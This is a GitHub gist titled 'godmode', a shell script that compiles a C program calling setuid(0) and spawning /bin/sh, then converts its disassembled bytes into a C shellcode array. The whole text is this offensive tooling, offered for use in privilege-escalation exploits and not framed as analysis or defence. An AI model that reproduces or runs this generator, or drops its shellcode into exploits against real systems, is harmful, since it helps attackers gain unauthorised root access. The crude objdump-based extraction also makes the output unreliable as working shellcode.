Skip to content

Instantly share code, notes, and snippets.

@oxagast
Last active January 23, 2017 01:42
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save oxagast/4afa578d158ca1c48eaad2110fa76078 to your computer and use it in GitHub Desktop.
Save oxagast/4afa578d158ca1c48eaad2110fa76078 to your computer and use it in GitHub Desktop.
### godmode by oxagast ###
echo '#include <unistd.h>' > sc.c;
echo 'int main(void) {setuid(0);execlp("/bin/sh", "sh", NULL);}' >> sc.c;
gcc sc.c -o godmode;
SHELLCODE=$(objdump --show-raw-insn -d godmode | grep -v "file format" | cut -f 2 -d ':' | cut -c -21 | cut -c 2- | sed -e 's/ /\n/g' | grep -v "^$" | sed -e 's/^/\\x/' | tr -d "\n")
echo -n "char shellcode[] = "
echo $SHELLCODE | sed -e 's/\(.\{60\}\)/\1\n/' | head -n 1 > s.tmp; echo $SHELLCODE | sed -e 's/^\n//' | sed -e 's/\(.\{80\}\)/\1\n/g' | sed -e 's/.*\"/ \"/' >> s.tmp; cat s.tmp | sed -e 's/^\\/"\\/' -e 's/$/\"/' | head -c -1
echo ";";
rm sc.c godmode;
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment